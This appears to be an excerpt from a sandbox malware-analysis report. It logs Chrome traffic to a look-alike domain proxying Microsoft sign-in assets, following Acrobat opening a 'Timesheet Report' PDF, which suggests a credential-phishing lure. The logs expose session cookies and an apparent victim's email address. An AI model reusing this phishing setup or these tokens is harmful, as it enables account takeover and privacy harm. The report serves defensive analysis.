2024-11-21 13:45:26 UTC	2254	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: https://autologon.microsoftazuread-sso.com/ Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, OPTIONS P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 80e15391-f036-416b-a14f-04ca5a411a00 x-ms-ests-server: 2.1.19492.3 - WUS3 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-wQbN3ttSwrw1gRIBM_W4_Q' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; img-src 'self' data: https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; expires=Sat, 21-Dec-2024 13:45:26 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 21 Nov 2024 13:45:26 GMT Connection: close content-length: 164 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:26 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 32 65 62 65 65 61 64 37 2d 63 66 38 33 2d 34 32 30 34 2d 61 61 36 30 2d 32 39 36 66 37 32 35 62 33 62 63 62 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 20 31 33 3a 34 35 3a 32 36 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"2ebeead7-cf83-4204-aa60-296f725b3bcb","timestamp":"2024-11-21 13:45:26Z","message":"AADSTS900561"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49801	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:26 UTC	2919	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:26 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821881 Cache-Control: public, max-age=31536000 Content-MD5: b2jpiB3xj44lGrV9V4Yjmw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:26 GMT Etag: 0x8D87D43AB2FDD79 Last-Modified: Sat, 31 Oct 2020 02:21:26 GMT Server: ECAcc (ska/F766) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: f46be3f5-501e-0046-1abb-7e733b000000 x-ms-version: 2009-09-19 Content-Length: 1378 Connection: close
2024-11-21 13:45:26 UTC	1378	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 23 65 36 65 36 65 36 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 63 69 72 63 6c 65 20 63 6c 61 73 73 3d 22 61 22 20 63 78 3d 22 32 34 22 20 63 79 3d 22 32 34 22 20 72 3d 22 32 34 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 33 32 2e 35 2c 31 34 41 31 2e 34 39 32 2c 31 2e 34 39 32 2c 30 2c 30 2c 31 2c 33 34 2c 31 35 2e 35 56 33 38 2e 35 41 31 2e 34 39 34 2c 31 2e 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:#e6e6e6;}.b{fill:#404040;}</style></defs><circle class="a" cx="24" cy="24" r="24"/><path class="b" d="M32.5,14A1.492,1.492,0,0,1,34,15.5V38.5A1.494,1.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49802	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:26 UTC	2919	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:26 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821881 Cache-Control: public, max-age=31536000 Content-MD5: hHpCErmbkHbuOTKLJM0wrw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:26 GMT Etag: 0x8D79A1BA078EE64 Last-Modified: Thu, 16 Jan 2020 00:32:54 GMT Server: ECAcc (ska/F7AC) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 00fe56a4-401e-0063-1ebb-7e6502000000 x-ms-version: 2009-09-19 Content-Length: 379 Connection: close
2024-11-21 13:45:26 UTC	379	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 32 34 22 20 63 79 3d 22 32 34 22 20 72 3d 22 32 34 22 20 66 69 6c 6c 3d 22 23 65 36 65 36 65 36 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 33 2e 34 34 2c 33 36 68 31 2e 39 32 61 38 2e 36 34 2c 38 2e 36 34 2c 30 2c 31 2c 31 2c 31 37 2e 32 38 2c 30 68 31 2e 39 32 61 31 30 2e 35 37 33 2c 31 30 2e 35 37 33 2c 30 2c 30 2c 30 2d 36 2e 35 36 39 2d 39 2e 37 37 31 2c 37 2e 36 38 2c 37 2e 36 38 2c 30 2c 31 2c 30 2d 37 2e 39 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><circle cx="24" cy="24" r="24" fill="#e6e6e6"/><path d="M13.44,36h1.92a8.64,8.64,0,1,1,17.28,0h1.92a10.573,10.573,0,0,0-6.569-9.771,7.68,7.68,0,1,0-7.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49806	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:28 UTC	1717	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:28 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821883 Cache-Control: public, max-age=31536000 Content-MD5: b2jpiB3xj44lGrV9V4Yjmw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:28 GMT Etag: 0x8D87D43AB2FDD79 Last-Modified: Sat, 31 Oct 2020 02:21:26 GMT Server: ECAcc (ska/F766) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: f46be3f5-501e-0046-1abb-7e733b000000 x-ms-version: 2009-09-19 Content-Length: 1378 Connection: close
2024-11-21 13:45:28 UTC	1378	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 23 65 36 65 36 65 36 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 63 69 72 63 6c 65 20 63 6c 61 73 73 3d 22 61 22 20 63 78 3d 22 32 34 22 20 63 79 3d 22 32 34 22 20 72 3d 22 32 34 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 33 32 2e 35 2c 31 34 41 31 2e 34 39 32 2c 31 2e 34 39 32 2c 30 2c 30 2c 31 2c 33 34 2c 31 35 2e 35 56 33 38 2e 35 41 31 2e 34 39 34 2c 31 2e 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:#e6e6e6;}.b{fill:#404040;}</style></defs><circle class="a" cx="24" cy="24" r="24"/><path class="b" d="M32.5,14A1.492,1.492,0,0,1,34,15.5V38.5A1.494,1.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49805	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:28 UTC	1717	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:29 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821883 Cache-Control: public, max-age=31536000 Content-MD5: hHpCErmbkHbuOTKLJM0wrw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:28 GMT Etag: 0x8D79A1BA078EE64 Last-Modified: Thu, 16 Jan 2020 00:32:54 GMT Server: ECAcc (ska/F7AC) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 00fe56a4-401e-0063-1ebb-7e6502000000 x-ms-version: 2009-09-19 Content-Length: 379 Connection: close
2024-11-21 13:45:29 UTC	379	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 32 34 22 20 63 79 3d 22 32 34 22 20 72 3d 22 32 34 22 20 66 69 6c 6c 3d 22 23 65 36 65 36 65 36 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 33 2e 34 34 2c 33 36 68 31 2e 39 32 61 38 2e 36 34 2c 38 2e 36 34 2c 30 2c 31 2c 31 2c 31 37 2e 32 38 2c 30 68 31 2e 39 32 61 31 30 2e 35 37 33 2c 31 30 2e 35 37 33 2c 30 2c 30 2c 30 2d 36 2e 35 36 39 2d 39 2e 37 37 31 2c 37 2e 36 38 2c 37 2e 36 38 2c 30 2c 31 2c 30 2d 37 2e 39 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><circle cx="24" cy="24" r="24" fill="#e6e6e6"/><path d="M13.44,36h1.92a8.64,8.64,0,1,1,17.28,0h1.92a10.573,10.573,0,0,0-6.569-9.771,7.68,7.68,0,1,0-7.9

Target ID:	0
Start time:	08:43:55
Start date:	21/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Kellyb Timesheet Report.pdf"
Imagebase:	0x7ff62b490000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:43:56
Start date:	21/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff659e70000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:43:57
Start date:	21/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,10700144638070094372,4012403489226322607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff659e70000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:44:18
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
